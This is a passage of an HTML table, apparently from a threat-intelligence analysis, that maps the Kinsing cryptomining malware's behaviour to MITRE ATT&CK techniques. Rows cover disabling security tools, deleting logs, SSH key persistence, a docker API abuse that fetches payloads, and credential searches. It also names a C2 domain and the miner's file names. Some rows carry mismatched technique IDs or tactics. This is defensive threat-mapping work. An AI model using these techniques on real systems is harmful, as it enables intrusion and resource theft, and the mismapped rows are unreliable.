<td>T1562.001</td>
<td>In the main payload kinsing is disabling security tools and services like apparmor and selinux.</td>
</tr>
<tr>
<td></td>
<td>Tools</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Indicator Removal on Host: File Deletion</td>
<td>T1070.004</td>
<td>In the main payload kinsing is deleting logs (/var/log/syslog) and other files to cover tracks.</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>File and Directory Permissions Modification:</td>
<td>T1222.001</td>
<td>In the main payload kinsing is changing attributes of various directories (chattr commands) to prevent detection.</td>
</tr>
<tr>
<td></td>
<td>Linux and Mac File and Directory Permissions</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Modification</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Persistence</td>
<td>Event Triggered Execution: Unix Shell Configuration Modification</td>
<td>T1546.004</td>
<td>In the main payload kinsing is modifying .ssh/authorized_keys to maintain access.</td>
</tr>
<tr>
<td>Execution</td>
<td>Command and Scripting Interpreter: Unix Shell</td>
<td>T1059.004</td>
<td>Kinsing is execution of shell commands and scripts.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Technique</td>
<td>MITRE ID</td>
<td>Kinsing's Operation</td>
</tr>
<tr>
<td>-----------------</td>
<td>-------------------------------</td>
<td>------------</td>
<td>-------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Credential</td>
<td>Access Discovery: Local Account</td>
<td>T1087.001</td>
<td>In the main payload, kinsing is deleting users (userdel) to hinder account discovery.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Impact</td>
<td>Data Destruction</td>
<td>T1485</td>
<td>In the main payload, kinsing is deleting files to impair functionality and cover tracks.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Impact</td>
<td>Inhibit System Recovery</td>
<td>T1490</td>
<td>In the main payload, kinsing is deleting logs (/var/log/syslog) and other files to cover tracks.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>Native API</td>
<td>T1106</td>
<td>In the main payload, kinsing is killing processes through native APIs.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Discovery</td>
<td>Network Service Scanning</td>
<td>T1046</td>
<td>In the main payload, kinsing is using netstat to discover network services and potentially identify targets for further actions.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Persistence</td>
<td>Create or Modify System Process: Systemd Service</td>
<td>T1543.003</td>
<td>In the main payload, kinsing is installing a systemd service for persistence.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Persistence</td>
<td>Scheduled Task/Job: Scheduled Task</td>
<td>T1053.005</td>
<td>In the main payload, kinsing is installing a systemd service for persistence.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>User Execution: Malicious File</td>
<td>T1204.002</td>
<td>In the main payload, kinsing is executing a malicious binary to maintain persistence or perform malicious actions.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tactic</td>
<td>Technique</td>
<td>MITRE ID</td>
<td>Kinsing's Operation</td>
</tr>
<tr>
<td>--------------------------------</td>
<td>------------------------------------</td>
<td>------------</td>
<td>----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Command and Control</td>
<td>Application Layer Protocol: Web Protocols</td>
<td>T1071.001</td>
<td>In the main payload kinsing is using <code>curl</code> or <code>wget</code> to communicate with command and control (C2) servers.</td>
</tr>
<tr>
<td>Resource Development</td>
<td>Acquire Infrastructure: Domain</td>
<td>T1583.001</td>
<td>Kinsing is using <code>vocaltube.ru</code> as a domain. Not sure he owns it.</td>
</tr>
<tr>
<td>Initial Access</td>
<td>Exploit Public-Facing Application</td>
<td>T1190</td>
<td>In many cases this is the initial access vector kinsing is using, for instance Openfire, Wordpress etc.</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Brute Force</td>
<td>T1110.001</td>
<td>Kinsing is trying to exploit applications and services such as SSH, Tomcat admin and others</td>
</tr>
<tr>
<td>Persistence</td>
<td>Create or Modify System Process</td>
<td>T1543.004</td>
<td>Kinsing is creating a systemd service named &quot;Bot&quot; in the Type II scripts</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Obfuscated Files or Information</td>
<td>T1027.002</td>
<td>Kinsing’s malware and rootkit are often packed often by UPX</td>
</tr>
<tr>
<td>Discovery</td>
<td>File and Directory Discovery</td>
<td>T1083</td>
<td>In the main payload kinsing is running on the <code>/proc</code> and other filesystems to detect processes</td>
</tr>
<tr>
<td>Command and Control</td>
<td>Application Layer Protocol: DNS</td>
<td>T1071.004</td>
<td>Kinsing is using <code>vocaltube.ru</code> to retrieve the C2 server IP address.</td>
</tr>
<tr>
<td>Command and Control</td>
<td>Application Layer Protocol: Proxy</td>
<td>T1090.002</td>
<td>Kinsing is using proxies for the mining operation.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Technique</td>
<td>MITRE ID</td>
<td>Kinsing’s Operation</td>
</tr>
<tr>
<td>------------------------</td>
<td>-----------------------------------------------</td>
<td>------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Exfiltration</td>
<td>Exfiltration Over C2 Channel</td>
<td>T1041</td>
<td>The kinsing malware can exfiltrate data over the C2 server.</td>
</tr>
<tr>
<td>Execution</td>
<td>System Services: Service Stop</td>
<td>T1569.002</td>
<td>In the main payload kinsing is issuing commands to stop various services, a technique that could be used to hinder security services or other critical functionalities on the system.</td>
</tr>
<tr>
<td>Execution</td>
<td>Command and Scripting Interpreter: PowerShell</td>
<td>T1059.001</td>
<td>The script is written in PowerShell, a powerful scripting language used for automating tasks on Windows systems, which can be used for malicious purposes in this context.</td>
</tr>
<tr>
<td>Command and Control</td>
<td>Ingress Tool Transfer</td>
<td>T1105</td>
<td>The script downloads external files (miner and config), which is indicative of transferring tools or files into a compromised environment.</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Impair Defenses: Disable or Modify Tools</td>
<td>T1629.003</td>
<td>Stopping processes might also be used to disable security tools that are running on the system.</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Modify Registry</td>
<td>T1112</td>
<td>The script uses SchTasks.exe to create a scheduled task for persistence, which involves modifying the Windows registry.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Technique</td>
<td>MITRE ID</td>
<td>Kinsing's Operation</td>
</tr>
<tr>
<td>----------------------</td>
<td>------------------------------------------</td>
<td>------------</td>
<td>------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Obfuscate/Encrypt Files</td>
<td>T1140</td>
<td>The script <code>du.sh</code> is encoded in base64, there are further examples to kinsing encoding (base64) snippets</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Masquerading: Match Legitimate Name or Location</td>
<td>T1036.005</td>
<td>In Linux the miner is called <code>kdevtmpfsi</code>, in Windows the miner is named &quot;sysupdate.exe&quot;, which could be an attempt to masquerade as a legitimate system update process.</td>
</tr>
<tr>
<td>Execution</td>
<td>Container Administration Command</td>
<td>T1609</td>
<td>Kinsing is running <code>Ubuntu:latest</code> on misconfigured docker API with a malicious cmd that downloads and executes the main payload <code>d.sh</code></td>
</tr>
<tr>
<td>Execution</td>
<td>Deploy Container</td>
<td>T1609</td>
<td>Kinsing is running <code>Ubuntu:latest</code> on misconfigured docker API with a malicious cmd that downloads and executes the main payload <code>d.sh</code></td>
</tr>
<tr>
<td>Initial Access</td>
<td>External Remote Services</td>
<td>T1133</td>
<td>Kinsing was executed in an Ubuntu container deployed via an open Docker daemon API.</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification</td>
<td>T1222.002</td>
<td>Kinsing has used <code>chmod</code> to modify permissions on key files for use.</td>
</tr>
<tr>
<td>Discovery</td>
<td>Process Discovery</td>
<td>T1057</td>
<td>Kinsing has used <code>ps</code> to list processes.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Technique</td>
<td>MITRE ID</td>
<td>Kinsing's Operation</td>
</tr>
<tr>
<td>------------------------</td>
<td>------------------------------------</td>
<td>------------</td>
<td>-------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Lateral Movement</td>
<td>Remote Services: SSH</td>
<td>T1021.004</td>
<td>Kinsing has used SSH for lateral movement.</td>
</tr>
<tr>
<td>Discovery</td>
<td>Remote System Discovery</td>
<td>T1018</td>
<td>Kinsing has used a script to parse files like <code>/etc/hosts</code> and SSH <code>known_hosts</code> to discover remote systems.</td>
</tr>
<tr>
<td>Impact</td>
<td>Resource Hijacking</td>
<td>T1496</td>
<td>Kinsing has created and run a Bitcoin cryptocurrency miner.</td>
</tr>
<tr>
<td>Persistence</td>
<td>Scheduled Task/Job: Cron</td>
<td>T1053.003</td>
<td>Kinsing has used crontab to download and run shell scripts every minute to ensure persistence.</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Unsecured Credentials: Bash History</td>
<td>T1552.003</td>
<td>Kinsing has searched <code>bash_history</code> for credentials.</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Unsecured Credentials: Private Keys</td>
<td>T1552.004</td>
<td>Kinsing has searched for private keys.</td>
</tr>
<tr>
<td>Initial Access</td>
<td>Valid Accounts</td>
<td>T1078</td>
<td>Kinsing has used valid SSH credentials to access remote hosts.</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Rootkit</td>
<td>T1014</td>
<td>Kinsing is using a rootkit to hide the cryptomining operation.</td>
</tr>
<tr>
<td>Execution</td>
<td>Command and Scripting Interpreter: Python</td>
<td>T1059.006</td>
<td>Kinsing is execution python commands for instance in the <code>rv.sh</code> script</td>
</tr>
</tbody>
</table>